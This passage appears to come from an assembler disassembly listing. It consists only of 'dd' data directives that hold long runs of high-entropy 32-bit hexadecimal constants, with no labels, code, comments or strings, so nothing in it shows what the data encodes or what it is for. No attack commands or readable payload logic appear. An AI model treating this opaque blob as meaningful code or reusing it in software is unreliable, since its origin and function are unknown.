		dd 0B04894CCh, 50EF6506h, 7EEDB0D9h, 0C90660A3h, 193028FAh
		dd 0D11A7F04h, 64A89770h, 0F880FE2Dh, 253041C3h, 0C766CE00h
		dd 2F33505Bh, 0C986096Ch, 18526F92h, 7D887EF0h,	0D549324Ah
		dd 38971B88h, 0B680F011h, 28E6B734h, 0DE802200h, 0B3170C61h
		dd 0CFA40272h, 918DB0E9h, 59DF4081h, 53F9Ch, 74E09E03h
		dd 0B1E225F7h, 0BA2B7440h, 1D456200h, 78D2127Fh, 6D91188Ch
		dd 7CF84029h, 161CCA50h, 4524D604h, 0F0A8DE2Dh,	6309F733h
		dd 2CB62101h, 0FC4EA145h, 3CE5BBDCh, 81D12FF6h,	8D0B3850h
		dd 6E72F9h, 5940DAC8h, 0F1BE852Dh, 0A8C212ECh, 0D4AE817Fh
		dd 6DB1F80h, 0E0B23C31h, 0CE979500h, 1315454Ah,	0E4641C5Eh
		dd 40FF5222h, 0C21AA00h, 0C9000466h, 0A9289183h, 135B024h
		dd 34E670DEh, 202DE12Fh, 0FDA26108h, 41746082h,	7D1F3C74h
		dd 0D8908h, 0FBF943FEh,	0F82A0346h, 0DC8744DAh,	4261FD44h
		dd 7DA5D85Ah, 38A6A000h, 0F5C78E12h, 85103DA7h,	0A24090CEh
		dd 2800084Dh, 6F057E9Dh, 346C82Ch, 30E7EBA7h, 0FBA0EC0Dh
		dd 25887CD7h, 0A52F30B2h, 67E5C650h, 771F3900h,	7D461715h
		dd 0DB29C06Fh, 0F60DD7B2h, 71F2C30Ch, 0C0E309FCh, 0D7CABB21h
		dd 1C02B375h, 73CDAC05h, 2147C8Dh, 0FF1129DDh, 0F2229890h
		dd 7F171405h, 883A1D26h, 23EF623h, 75F2BE12h, 68B888CCh
		dd 0FCE49412h, 0C8D904ADh, 0C0561206h, 8017D0A2h, 92F9C238h
		dd 0E0F2624Ch, 3C9C4500h, 0B253711Ch, 2304CB02h, 48081F16h
		dd 0EE342BCh, 0A1750358h, 9CD30720h, 680097D2h,	2E621E81h
		dd 54BD99DFh, 74ABA430h, 0D79809E3h, 0D898A93Ah, 0DCEAB901h
		dd 0C06CCD00h, 0A7F634E9h, 0F383A5Ch, 9ACF548Ah, 78950098h
		dd 0EF49E2B7h, 0F4265CE2h, 15033875h, 0DEF065h,	3A4E50E1h
		dd 6D9701EFh, 9109710Ah, 298084BAh, 0EE18C263h,	0A094BE44h
		dd 26A746B4h, 7F09402Ch, 1C3C1C3Ah, 183045D7h, 2319E28Fh
		dd 90993431h, 80335E84h, 1760415Fh, 34CF6E69h, 0B020411Ch
		dd 21526906h, 11426001h, 8CA10C0Bh, 0B302E24h, 88482A14h
		dd 47C580EFh, 3EA35430h, 27F3C701h, 755F1E0h, 4B84F834h
		dd 2094C145h, 0FC6CCA75h, 0BC300A02h, 19D0F97Dh, 0A25110F0h
		dd 7A60002Fh, 3BE5E4B3h, 9252CD6h, 28246879h, 2D1007BAh
		dd 0F98517BCh, 67449024h, 0F60BD7E0h, 0E6448C93h, 0D7B400B1h
		dd 0B8A98E98h, 4D0BAF2Eh, 52FB64C0h, 7A092D24h,	270D84C8h
		dd 47917F08h, 61D90229h, 0FC74E8ACh, 71129080h,	167A75D4h
		dd 0A0BE9441h, 0EB25A138h, 0D0BC687Fh, 744F0626h, 89707D28h
		dd 65BFA300h, 71294669h, 0ACAFE43h, 8E9BD834h, 8EA0B8h
		dd 308F39D2h, 9D17680Fh, 9E70A39Fh, 7CAFF088h, 0CB761EF8h
		dd 6EBDBEF2h, 74E31287h, 8057C233h, 8580B0AEh, 20A39A24h
		dd 0C4547B12h, 94041C52h, 0E4BDF745h, 0B4ED6409h, 90AD14A5h
		dd 6B49FB70h, 1BAC7407h, 0E7E6F280h, 47BC8118h,	0D708BD18h
		dd 0C4BBF608h, 0B5BE40E1h, 5F32AD7h, 90283344h,	1550C181h
		dd 437C02E3h, 0FC40D49Ch, 426C25FDh, 4CB04C9Ah,	2A0450A6h
		dd 8A7F1B30h, 0C120F362h, 398C3043h, 0AA2B968Fh, 95B30BCCh
		dd 0C90F345Ah, 0E0B840h, 963AC10h, 14880180h, 96C025BEh
		dd 0D4F7F18Dh, 9E016DE6h, 2B15EA1Fh, 0A035F5D5h, 7442A40Dh
		dd 30143022h, 0E97DBA11h, 5380EE88h, 8723300Ch,	715C0133h
		dd 2C1E27Fh, 9EC45C51h,	63AC20B5h, 0FC35442Dh, 1E170012h
		dd 452B6BFh, 0C89995D0h, 5F3F7080h, 5D674Ch, 0E0FBCB74h
		dd 0C41CC03Ch, 1BB13A00h, 0D0A41724h, 1A9002BDh, 0C87CFFC5h
		dd 26040CECh, 20DE2F45h, 0E22E6262h, 0DCC6452Eh, 0E250E30h
		dd 20C098A2h, 6427D874h, 0E67B0020h, 40CB073Eh,	60127087h
		dd 9C00E7E4h, 0EB260BB0h, 0F0AF0551h, 80ECA439h, 0F2FB17C8h
		dd 9D829574h, 1463DECh,	48090B44h, 0D830D8E6h, 74F61763h
		dd 4098A1FDh, 918E9FB0h, 8CBA624h, 7C680C02h, 5C0D495h
		dd 486B7E30h, 0BBC04140h, 46F60AD7h, 0D822ABh, 1DD7B3B0h
		dd 0C2A1A918h, 0F44A7507h, 817909D5h, 7DA60814h, 0FA84F9E9h
		dd 0F90A6B73h, 1E163F04h, 2000B12Dh, 0C686BD17h, 80FC4F39h
		dd 0B902A060h, 0FE506178h, 84251994h, 65BC07D6h, 88BCD1BBh
		dd 0E09732Ah, 91D01717h, 0B2409FE6h, 3CADF838h,	2D3B7B43h
		dd 5C40AC69h, 6E20C97Fh, 0C4F614E0h, 6430D81Ah,	3D677540h
		dd 7C04D374h, 0E33E697Fh, 0B5C85CA4h, 17B70C03h, 40E825D9h
		dd 6183CC80h, 7891D44Fh, 0F80CE665h, 8927C41h, 175060B5h
		dd 0DE232A45h, 90482718h, 45001FB1h, 0F235FDA4h, 0F28E82EFh
		dd 541548D6h, 1DBC0474h, 0A19A7917h, 1A93004Ch,	2149751Fh
		dd 301380E0h, 43017DB9h, 98E922D1h, 882F007Eh, 8634596Dh
		dd 0C700D567h, 3A64C820h, 99E31639h, 13831F94h,	3378A0BFh
		dd 5C2E2F3Ch, 0E6651198h, 48233894h, 84D7B00Bh,	0A8CEB348h
		dd 0D7C8BD01h, 2FB622h,	31064410h, 0EA2175D9h, 0DC543B98h
		dd 80AD027Ch, 292B91h, 7FA19AD9h, 0BA2C8D01h, 76582D34h
		dd 2025B029h, 0EE11D897h, 5A967F80h, 0F60BF4F2h, 0A2DFE1E2h
		dd 609F9730h, 93FDDFAh,	3C441DEh, 7F116C22h, 9080C0D4h
		dd 0EBE77BEAh, 0CA99006Ch, 0A0EEB4BDh, 0F80308FEh, 73D9AB69h
		dd 0C484A9B5h, 27E5D074h, 0FCE06549h, 0A955802Bh, 0D30E260h
		dd 0C4AF5B30h, 0EF604834h, 2FA55685h, 0B955F681h, 4C923ECh
		dd 0C2798041h, 0E660B5DDh, 0A6488229h, 302D1894h, 527F2411h
		dd 0DA80F288h, 59323046h, 0BCECE6h, 12E5C68Dh, 2CC9CF5Eh
		dd 6C47B12Eh, 339B040Fh, 59D80041h, 0F822EC5Ch,	90CC2610h
		dd 0A79A003Ch, 6E8C69A1h, 11B8B9EFh, 3007802Dh,	8CA17DBDh
		dd 58210260h, 38262FA7h, 80235FAh, 0CCA2F279h, 0C819A8A0h
		dd 1361F1DEh, 1CFF2DF9h, 80E80854h, 0BC667B27h,	48426505h
		dd 9488E27Ah, 4B224A1Ch, 1800F8E0h, 30C7F13Dh, 8BFA2F1Dh
		dd 0AE6ADC3h, 7DE1C8ABh, 0E00892EDh, 0F9A75056h, 79C3246Eh
		dd 273E003Ch, 4780F8F5h, 46BE5C2Dh, 0E7280560h,	3CE4AC9h
		dd 0C01EFE94h, 0C95EAB8h, 0C77398A8h, 0D4998B00h, 656A0735h
		dd 5DC80026h, 0CF719858h, 6D26DAC4h, 161D60D2h,	41751120h
		dd 0E8445854h, 84048CF6h, 71128118h, 27512488h,	401D9D8Dh
		dd 5F81F111h, 615E46C1h, 4C6F56Ch, 3C4EA8C1h, 424DD070h
		dd 0B8284802h, 0D1038CE5h, 58AD46E6h, 2B1890A1h, 4309E9Dh
		dd 0E1DD8431h, 0FC2FE124h, 0B7182377h, 9FC10394h, 6B07021Dh
		dd 0FC6443C7h, 5483907Eh, 1F680804h, 6497EA71h,	0A7468708h
		dd 0CC367037h, 0E51209C6h, 94D56863h, 7CD83680h, 50AD4F8Dh
		dd 222C054h, 0C0DC350Fh, 735921E9h, 198086EAh, 250F301Ah
		dd 3202C45Dh, 430AFDC2h, 258D6A1h, 0DA7C4AFBh, 0EC17C4BAh
		dd 0E280FE11h, 0C699AF0Ch
		dd 525DFA00h, 2834B686h, 2A1B0036h, 81D6AC74h, 4995D966h
		dd 166FFC7Ch, 0CDC0019Ch, 20C88EFAh, 0F941ECF4h, 60EA7AF1h
		dd 72586C0Ch, 65110B81h, 6C4027EFh, 589AF922h, 0BDF82C1Eh
		dd 38ED5A80h, 7E99FDh, 87951D6Ch, 349DBE44h, 4640A494h
		dd 2F67D907h, 5460B454h, 6918DF0Dh, 9778E91Ch, 0BCF549D4h
		dd 809FF71Dh, 8612809Ah, 7D5AFEC9h, 40D998C8h, 98B12074h
		dd 86760478h, 9DF334Ch,	0E0C18CF5h, 60149DD4h, 1B46A97Dh
		dd 0BA5CF0AFh, 2EF1102Ch, 5D117601h, 11CD6CEh, 0F801ED8Eh
		dd 0A2C433E0h, 0F98930EFh, 2213F00h, 0ADE1E838h, 8B889EF3h
		dd 6068C6F5h, 1C80EE61h, 1A6926EDh, 47AEBEC0h, 7B7D8378h
		dd 302CD7D5h, 0F460E4D3h, 5D64E174h, 3A106CB0h,	97004CCh
		dd 0EC505F91h, 9780DC58h, 252464D8h, 41D7D912h,	818D1420h
		dd 4C83B75Eh, 6117102Fh, 24A280EAh, 0F605F121h,	0C8F8657Ch
		dd 94AB9601h, 739B920Ah, 0A8F45DA4h, 0C37E2E83h, 60436450h
		dd 2314D7B9h, 0E4119BF6h, 0D7B1B200h, 0D56DD43Dh, 8E7B8602h
		dd 0E8DC2669h, 0B6B85940h, 8C9A0E68h, 0C2B03D6Dh, 533F9C20h
		dd 0F0640C40h, 0ADF00B74h, 465C9C9Eh, 626A00F4h, 12FC6E85h
		dd 0B57E12C7h, 8030DE1Ah, 0FAA9DA0Fh, 3A6F021Ch, 6842E1C4h
		dd 54AC9055h, 0EF7C3BCAh, 3DA6D6ACh, 1308A00h, 0FEB6BAB8h
		dd 8F87F616h, 0B0767500h, 0BD6D427Dh, 0C6773005h, 0D09E5E50h
		dd 885CFE02h, 8C38DEC9h, 9D952EFh, 88207C4Fh, 24622182h
		dd 74881CCEh, 0D500F046h, 0BED8E008h, 640B283Bh, 18D33A42h
		dd 0BFB51FACh, 0A954F090h, 80568A3Eh, 804C0651h, 3632096h
		dd 68A21718h, 45F002A4h, 5D0512A7h, 0E7EBD129h,	2D8738ECh
		dd 0AA6BD0B8h, 9503B226h, 0A5C4D0C1h, 0D880BBADh, 133BD32Fh
		dd 897C1294h, 4DC841B0h, 0C7543DF3h, 0BCC52F34h, 11048085h
		dd 0C8E477B5h, 0E5732874h, 189098B3h, 40FB6D43h, 16092FF5h
		dd 5498EB26h, 0C9E2418Ch, 80C441EAh, 91088B8h, 843203E7h
		dd 484F7001h, 0F8CBA052h, 0E1C0F0C8h, 205E58Ch,	0F5198A20h
		dd 10FCFD74h, 59C03601h, 3471DF18h, 96C4236Fh, 0DDFB4117h
		dd 0B948C21h, 2DD0F050h, 565F0E5Bh, 24201CB2h, 0CAB93C48h
		dd 807130C8h, 9E4A7946h, 928D22h, 0D8606813h, 2ED5B8C2h
		dd 0E1F59526h, 673FCB00h, 66E3496Fh, 0BE36007Ch, 0FDC96B48h
		dd 0EB01ED08h, 0C82D0FB7h, 0E442C6FBh, 14D0C435h, 0A0AF86D8h
		dd 2FD53910h, 0A8E615h,	1D42ED7Eh, 4F9289D7h, 0D400AF5Bh
		dd 79747C0Fh, 8C099C7h,	88BBE725h, 3A70E681h, 43CAEB3Fh
		dd 0DF7D47DCh, 0E823E91Ch, 0FE54380h, 0CD92F8h,	0EB7A80CAh
		dd 8107CCD5h, 8C5650Fh,	0B678B27h, 3C6498h, 245B9B79h
		dd 0E557E966h, 0A6359C04h, 85400520h, 0F97D9298h, 59635E00h
		dd 3A3D5280h, 0EEFAEEAEh, 0F1D80B2Fh, 0A801FD8Ch, 7A58C78Dh
		dd 0B0C6200Ah, 78AAF680h, 5C7DE30Bh, 4588D005h,	0ED7AFC0h
		dd 80CB43F6h, 90D7C7BCh, 1C4E01EEh, 7D8E44F5h, 502570E2h
		dd 0C1105492h, 0F7C2B1D1h, 9854854Ah, 1A582842h, 7917F810h
		dd 37E1E25h, 9646178h, 0DA81E5C9h, 39F194E0h, 18F52834h
		dd 21CE3CD2h, 82697BCCh, 6149E779h, 24A8C4F8h, 44C86075h
		dd 0E98982Ch, 2D80304Ch, 901699h, 0F62FA655h, 8A8370EAh
		dd 0F927A4B0h, 0D6109107h, 3A152910h, 0EFEA5904h, 8AC205Ch
		dd 480AF087h, 0A1CFA407h, 0C6841AD1h, 0C286874h, 0B8347249h
		dd 0D7221C38h, 88DFF0B1h, 251DCB09h, 0C97184FDh, 7889B617h
		dd 6824589Dh, 7760C1DCh, 6CF3C7E0h, 95BBF2C8h, 20BABDE6h
		dd 50DA7E30h, 25E50A80h, 8C23FE63h, 69F06768h, 2C9C28EFh
		dd 62950C88h, 4F61302Bh, 83E03322h, 0F83044C4h,	1D4908B7h
		dd 0E50D1A14h, 6A006872h, 317988Dh, 1FE1D2h, 7EB1807Ah
		dd 7F9518F5h, 0EEC20703h, 0FC58BFA9h, 1E21CE2h,	0F07E6130h
		dd 0F6BC3268h, 2C7222C0h, 6D7A9A00h, 6C8AAF04h,	19D200C9h
		dd 7DA36AFBh, 0C0597EFh, 7B0A07CEh, 2FC48C8h, 0DE2A3067h
		dd 18C606BDh, 0A286B505h, 288193E2h, 0CB05EFFFh, 75EEC440h
		dd 4362CA30h, 7D12AEECh, 8C10D4Ah, 0A8738EEAh, 0D61FEF21h
		dd 0B20ED9Dh, 0BBCEDA79h, 803070E0h, 174D0F9h, 0E7022CB6h
		dd 5C97EB36h, 6A8081ACh, 2E12D8F5h, 100D108Ch, 50CA4669h
		dd 0F74390A8h, 7C9F152Dh, 0C885DF11h, 6D6CE494h, 10D6C300h
		dd 9744B095h, 983B72DAh, 89C544B4h, 189E5E7Eh, 3044674h
		dd 7829DC0Ah, 19EE20h, 0E4520234h, 12C39037h, 8C40C207h
		dd 78B9471Dh, 73E22068h, 83EA770Ah, 158FB828h, 7846F72Bh
		dd 25C1A294h, 0F05269E5h, 2F7FF700h, 8D2AB877h,	1A193261h
		dd 0D4911D18h, 0E918887Bh, 1F495018h, 8401795h,	5C607602h
		dd 976DDA80h, 465608Bh,	0C960E3E4h, 0FA26641Fh,	0C4083021h
		dd 15BF62D1h, 46760456h, 0E4000F0h, 0BEEC3208h,	46A70103h
		dd 0C3F7B590h, 0F19430BDh, 0A8220C5Fh, 39DF2074h, 50B2EA78h
		dd 6894794Ah, 0B3188Ch,	15279EE9h, 4F18F99Bh, 9FFB810Eh
		dd 0F140D832h, 7FFA403Ch, 0DB566110h, 8B174B7Dh, 0CBE28850h
		dd 9FA9E400h, 241841DEh, 8198B1D9h, 0FE7540D2h,	0B9EE5300h
		dd 95173F3Ch, 2FCF0571h, 8C24C7C1h, 0AF03FBDCh,	0F638C9EAh
		dd 0FDA4A8A2h, 0BAD044Ch, 0B3B17CF8h, 451B0778h, 0E3D4DE36h
		dd 90A0CE32h, 8F45239Dh, 0CF014A78h, 869DEB6h, 8464B301h
		dd 299D3E6h, 0B1E88C90h, 0F4D1E079h, 0B7A9C819h, 9FD34739h
		dd 7404E867h, 60BEC0FDh, 99B25CA4h, 0A46638h, 683E1579h
		dd 56736A8Fh, 163EE027h, 0D031840Bh, 0C9F29CA0h, 8A8350F3h
		dd 3DAC6018h, 212A1292h, 440C3717h, 0D861417Bh,	0D600B307h
		dd 145F39DEh, 44A2D413h, 15A5F0A1h, 61C8083h, 6A917F49h
		dd 0DB0738EEh, 9C61AB59h, 8C219C0h, 2A58C425h, 0EA025270h
		dd 0C667A045h, 0F27D16B4h, 6820C079h, 474E2F7Ch, 5C236CCDh
		dd 0EB3003A2h, 0CB4E26A8h, 7C9A08C4h, 0AD3CD901h, 0E458A016h
		dd 26300B2Fh, 0EC45427Fh, 3048D880h, 20797FB4h,	0D11DDA2Eh
		dd 9CA9F859h, 0A4D02208h, 74E10878h, 4DDAFD02h,	21C8E4EBh
		dd 0EAAF7698h, 0DCC45C80h, 34CCE248h, 30C379B2h, 0C5339C34h
		dd 4F409A4h, 50F45C18h,	0C9B4AAC9h, 0E814D3ACh,	43C8BC18h
		dd 681F007Ch, 0BE4DEE51h, 0CFA1058Dh, 77868511h, 56E48488h
		dd 1C4D4CBh, 8093076h, 3DFD07FCh, 81224A4Eh, 41178D63h
		dd 8DFBABCh, 39186786h,	0CAFE8467h, 0B0B62AC4h,	4A81173Ah
		dd 5CF608D0h, 150B4DCh,	0E039F02Fh, 0A491DEE5h,	0CCBC14C4h
		dd 48CDFBCh, 585CF551h,	66F892D3h, 43C0E527h, 1D334C18h
		dd 0BCD5Ch, 70066CA3h, 5D57B020h, 2CCC2E60h, 10E1CE62h
		dd 58A9DEA4h, 521B10C6h, 8883889h, 61743587h, 0D809C9C0h
		dd 647898DBh, 7C930078h, 0F0A0C22h, 0E22081E0h,	42650271h
		dd 16357A36h, 0DFE4A0C5h, 0F3946460h, 0D09A71C0h, 3E5D17FFh
		dd 0AD805CC6h, 6355304Eh, 0F83FB447h, 5B28898Eh, 0B9589F86h
		dd 10B1DA11h, 3684C8B6h, 55082F64h, 0BD84B1B9h,	224851EEh
		dd 0A6F634E0h, 0CF7443h, 328AB487h, 0A81D5D3h, 96447E4Dh
		dd 0EF23082Eh, 95006013h, 34786549h, 6DD1262Fh,	0E3A109F8h
		dd 75549864h, 0AE25F6C0h, 62BCE618h, 7CCF207Dh,	0AC59BF00h
		dd 45B25EF7h, 0CA865E54h, 2C904AE0h, 0A0E42496h, 91BFAE90h
		dd 536E96BCh, 0F200A2D0h
		dd 0A88730EFh, 0D6F60228h, 223018F0h, 0EAAD21FBh, 8CF7000Dh
		dd 0FB2B98Eh, 801C441h,	7C67C797h, 0DC24D565h, 8E862C15h
		dd 84606B94h, 7A0F8C12h, 40947F18h, 372A6D39h, 91954E0Ah
		dd 2E4A40F8h, 0A25E54C0h, 0D5B10458h, 0C9B983h,	0A41C7420h
		dd 0EB23167Fh, 0DD209089h, 28968529h, 84191C01h, 453BCEDAh
		dd 0FF7818h, 0D036B7A8h, 0D092C039h, 2A7DC80Bh,	244C41F5h
		dd 123C20ACh, 8DA8C244h, 0BB9660B0h, 0FFE0A80h,	586BB6E1h
		dd 0E2F2D3A0h, 0FF097920h, 0B3B47CF7h, 2B4598DCh, 7C73E1DEh
		dd 45229C80h, 0AB00E746h, 7BFEE013h, 0E834FBB7h, 8138BE20h
		dd 957D7856h, 1F63C435h, 21EDF02h, 0E674384Ah, 20E0B088h
		dd 1700DBFEh, 0DAC259ECh, 0A0E09C39h, 80E34A10h, 0FE3C2BD9h
		dd 805D2A7Eh, 94181524h, 0E36A2F00h, 163746E5h,	8BE71A7h
		dd 48806544h, 0F979ABACh, 35A301C4h, 0CE64477h,	46E1400Fh
		dd 0BD06ADD8h, 0D4405E85h, 918B0579h, 40C2BCE4h, 0D85315A4h
		dd 6925736Fh, 95A049BBh, 0F830D02Eh, 66F4A7F0h,	0DCA47A13h
		dd 72906Fh, 4246355Fh, 772EA0A6h, 76774EBAh, 59D91705h
		dd 0F400F8ECh, 0F5257FCAh, 3FF20A0Bh, 0A6588C78h, 89C711C4h
		dd 0DEFB0225h, 58DCD428h, 45002DB7h, 0FA43ECF4h, 0FD260Ah
		dd 0D29EE74Dh, 0F92A7902h, 38F0ED4Bh, 95B8Ch, 0D8A47F98h
		dd 0FF26C78Dh, 0FA08887Dh, 99A6197Eh, 3C252E64h, 698D8003h
		dd 0B4B5B184h, 0BDE0813Fh, 477A00E7h, 3D4A1480h, 0F61CECF9h
		dd 2FF797CAh, 1CC2328h,	9BEAD92h, 958297Eh, 0A89C5871h
		dd 6509A450h, 24A8EBF0h, 11CCE6C0h, 0F884812h, 9F4561D3h
		dd 597198BCh, 1AF279F0h, 0B13ED76Bh, 465E005Eh,	241007EFh
		dd 74E1639Bh, 3836A965h, 58C49778h, 2795A401h, 770B422Ch
		dd 0E6BCA47Ch, 62B038Ch, 4A8875F8h, 0FE13BEB8h,	0EC962616h
		dd 9A684404h, 0F2DCE212h, 403C31EFh, 8D8CFF83h,	0A9E1909h
		dd 2510647Dh, 8801841h,	0FB65151Ch, 79A7489Ch, 4602006Ch
		dd 0DC08CCF6h, 0C7746425h, 761F8BB4h, 0E1E47C65h, 0AAC0A363h
		dd 0BD5E42FDh, 9D132C00h, 9F206Ch, 0F1D0E298h, 16B8DA18h
		dd 0B4C0B0ADh, 86BABDh,	38678D78h, 46D292F5h, 30FD6424h
		dd 6A08C560h, 7C6D4884h, 10A03A4Eh, 0B3C075EEh,	6CD6D1A0h
		dd 0D84A7A27h, 0BC44A630h, 0EF46562Ch, 60A58B00h, 0B8C11467h
		dd 61252798h, 0A11C6002h, 345425F5h, 2306804h, 10B31598h
		dd 1181177Ah, 5810D8F0h, 0D216E87Eh, 9AF8327Ch,	94ADE8C4h
		dd 7378E0CFh, 24D3005h,	69E6A51Dh, 0DF01742Ah, 4CD3DCF1h
		dd 0D300E390h, 0DB07521Eh, 553E6669h, 1F04799Dh, 15AD7770h
		dd 30B388C2h, 2C084519h, 62E308DEh, 0B3007CC9h,	3EF4521h
		dd 3108EE56h, 14B59780h, 0BC4044BCh, 6872F3EAh,	9A2CFB0Eh
		dd 0EBCD0B96h, 73BE2448h, 0AAE4B00h, 0C189D89Ch, 0DB7A0070h
		dd 0D615B39Bh, 0E09C398Bh, 0FDDA7F05h, 0B01CACD0h, 0DB764B20h
		dd 0FE2281C4h, 38F0CE96h, 1148C0E2h, 7B97F75Dh,	0D8334807h
		dd 0A811FA3h, 0E06D10E3h, 12015AB8h, 20B5AEF6h,	6B2B16D5h
		dd 39BA0088h, 6C1750F1h, 517D02EAh, 8DCB0922h, 893B34D4h
		dd 0F40BA0B7h, 33804E3Ch, 3982FA87h, 630458F6h,	0D6B1F3F7h
		dd 2972F4C2h, 296AD4A7h, 7D820C51h, 40B19DAh, 0B080E494h
		dd 844EA92Eh, 38CA400h,	0B5FDC4h, 65F9299h, 0B91BDCF3h
		dd 0D6C032B7h, 0FD465678h, 92AC1Fh, 2364E042h, 5A0CE7A0h
		dd 0D9BDF206h, 81D50B2Bh, 0E4D8DE52h, 405CF009h, 6BD864CCh
		dd 0F46581EBh, 9F60F2E4h, 0B2057A06h, 0A841A0Ch, 39DFB4D0h
		dd 13084FE8h, 16CF2E0h,	34AF36F7h, 0D660C607h, 1C99C696h
		dd 4A256A7Ch, 23588585h, 0D8E064A6h, 9491F919h,	0CBAFE880h
		dd 4C3A58h, 0AC2884F3h,	856CF702h, 61DEF609h, 74D0E8h
		dd 68FC0EBDh, 19F28030h, 919748BAh, 8989B178h, 24A0481Fh
		dd 7069BE44h, 0B002C8B4h, 7891427Fh, 5CF4135Ch,	95704174h
		dd 8008FC33h, 8FC44540h, 0B54215A5h, 0CEE4284Bh, 0C0CE8820h
		dd 7E3EC9C4h, 59D84E05h, 70ED0584h, 0C6C1C63Dh,	465EB8D4h
		dd 0EFEE06DFh, 5EF8150Fh, 0A080C2EDh, 0EF7148D1h, 4F6C419h
		dd 355F3705h, 0FA816D92h, 29D3FF91h, 0D47F70h, 589C89C6h
		dd 0E100D2D7h, 744E6B8Ah, 3471DD28h, 0F92D47h, 340569A0h
		dd 0D60C0D6Fh, 715DEF64h, 0B23AFAE5h, 84F11630h, 8A240818h
		dd 0AC5AC8A0h, 6D976C00h, 6B92096Fh, 0CC4559B2h, 3360CFE4h
		dd 3C0FD10Bh, 0AB6785DDh, 0DF60E009h, 7F220B34h, 78D04669h
		dd 5C09D098h, 0A717EE21h, 9E4097E8h, 9811A3F5h,	0E46120FCh
		dd 4718432Fh, 60F1C4C8h, 1E31D2h, 0B0981218h, 0C98C8F2Ah
		dd 0BE060116h, 0CD88A08Eh, 0C6F0E3C7h, 8C7FA2h,	74CF227Bh
		dd 0DA8DBE4Fh, 52D93913h, 7EAB0C81h, 8600A832h,	0A06CADA6h
		dd 0DF0E6BECh, 215B57CEh, 7785205Eh, 23583B2Fh,	8D1C00EAh
		dd 83B422DCh, 0B721BB02h, 76E9F2D3h, 5C47AD68h,	0D560E6C4h
		dd 700AC0Dh, 0E3F627Eh,	5E5059BFh, 1454C202h, 0F68D7F20h
		dd 0BBA02D36h, 385F6C60h, 0EC02D04Bh, 0E1700E85h, 8214A750h
		dd 80F0116Ch, 81F8434Ch, 58FFB897h, 4B2BE871h, 30713FCCh
		dd 8318CDF1h, 4AA09E1Ch, 0CEE020ADh, 0C01D82C5h, 54468E58h
		dd 0B70ECD83h, 0C0B32819h, 5D4EFCBCh, 169891F0h, 0F5A0A022h
		dd 5CC17C12h, 7A3A9871h, 5537FC00h, 3CB82D01h, 0ADDFAB8Eh
		dd 0D92F3426h, 9E193C10h, 0BC70FF4Ch, 72008CCAh, 0C3BE32E4h
		dd 9BFF2B7h, 1FA5D7E2h,	0C600F052h, 88600159h, 9E9A1Eh
		dd 42DAA8AFh, 14166946h, 0F8F198A0h, 70A0F45Ah,	81C375C9h
		dd 74D087Eh, 3F599B51h,	0CA5C50DCh, 0BF0EBCC7h,	92D0D74Ch
		dd 9FAFA400h, 4D9DBD8Eh, 65095CC0h, 0E47103F5h,	864A6201h
		dd 0FC42710Eh, 0C89E25F1h, 0B8007F1Ch, 0FC45D460h, 9807FD49h
		dd 9CBF2F08h, 3EF60040h, 7EBB0D1Ch, 2B871064h, 38202A13h
		dd 6EFD9F5h, 0F2FB0484h, 0F40AB9EAh, 0D0653454h, 737F9D04h
		dd 312658B9h, 2A7210B4h, 0C880A89Ch, 282E6ACh, 9B53784h
		dd 0CA78C0D9h, 6400867Ch, 31078FFBh, 9F38EDEh, 7861BEA0h
		dd 7C90D078h, 0ECCEFA20h, 0FCD1C066h, 997A4B3Dh, 732820F9h
		dd 1FB3A0C9h, 80C89178h, 884D22AEh, 6830235h, 0C7569180h
		dd 0E4D022DDh, 705007FCh, 9DC9336Eh, 883CAD58h,	96638375h
		dd 0B4D021BCh, 5E501D11h, 4A8158E4h, 0B8ACE914h, 157F0024h
		dd 88043AB0h, 0CF295C69h, 9E05F898h, 0F0029A76h, 0D77DE422h
		dd 0BD29AC98h, 134380h,	8E5F35FEh, 0E7547B45h, 0E8D4205Ch
		dd 0A6008CFEh, 7163895Bh, 1EB1C74h, 754B85D4h, 809386EAh
		dd 0FA2795B9h, 259910Bh, 0D9DD09CBh, 0AC600121h, 0CCB540ACh
		dd 774C00D8h, 1D455C7h,	5C00868Bh, 0BA73607Ch, 41BA0C5h
		dd 1E1466B7h, 0F200F2C1h, 337A30F0h, 243FCDF2h,	7C680B85h
		dd 810F931h, 9409EF69h,	27C4F96Fh, 0FD6434C5h, 0EBD6D360h
		dd 87F4E700h, 13373D97h, 5204E47Dh, 3E15CBAh, 38300C76h
		dd 0D609BD9Ah, 88444A81h, 50C0515Bh, 12DAED55h,	8717E869h
		dd 7E086F90h, 0B4A17516h, 0FBEC8078h, 0E009008Ch, 5C167999h
		dd 5F07214Ch, 0C5F27D92h, 60B8982Ah, 194F6A31h,	0E82C00E1h
		dd 79C98EF7h, 620927F2h, 822B733Eh, 21B714h, 1BBB69DBh
		dd 8052C0CFh, 0DFB3EFCFh, 1CC0E23h, 0BFE01DC6h,	54696D21h
		dd 7AFBC02Dh, 80AAE0B4h
		dd 0A27549D6h, 0CD3FBF17h, 25930E4h, 0F054933Bh, 0C0F4C039h
		dd 6022273Eh, 0C7CB29D4h, 14427F48h, 846801CCh,	647C3D3Fh
		dd 1669261Eh, 8FF4A8EAh, 710D0433h, 1D48CFCh, 6C607D2Fh
		dd 3C4E54F6h, 0A582C8C5h, 0CECCC831h, 59D7265Ah, 0BFB889E8h
		dd 0F0E47845h, 36655960h, 5639C524h, 31FE813Eh,	0ED882724h
		dd 0B1DD9F4h, 7196C985h, 0E7214CE4h, 206D2574h,	96243D40h
		dd 0B79702F8h, 4C53D59Dh, 0B0CA0D8h, 0F80D71E3h, 0CFCE0B45h
		dd 0A0711390h, 67251D4Fh, 75F0627Ch, 0D95218h, 1D4EBB96h
		dd 8974F5C3h, 0A091CE5Fh, 212E1AD1h, 6B7DDDF0h,	0CB10FC3Bh
		dd 0AF94C07Ch, 258BABh,	394609D6h, 0A85CF597h, 71C484B0h
		dd 30A8EBA5h, 0DF71F09Dh, 88975461h, 5E08C004h,	48496729h
		dd 5030DB4Bh, 91021F1Ch, 6436E078h, 7819DF69h, 97F6103Ah
		dd 0DA380151h, 9C5ECEF1h, 0A2302372h, 0EA8D30F2h, 0A516EF16h
		dd 0E93874C8h, 7361E8h,	1CDA10D5h, 7C037FF5h, 0DF77E407h
		dd 9F272FB2h, 5551E2A2h, 8D25AC80h, 84A84361h, 3A5E67A0h
		dd 0F4AD1082h, 0F4465C3Ch, 896BBD0Ah, 16051180h, 98ECAE8Dh
		dd 3180B6CDh, 94689Ah, 0A904F53Eh, 0E4A746C7h, 0C8F801F2h
		dd 0A4E5091Bh, 0E088A2Eh, 0F02FE25h, 40F203FEh,	58E73AD3h
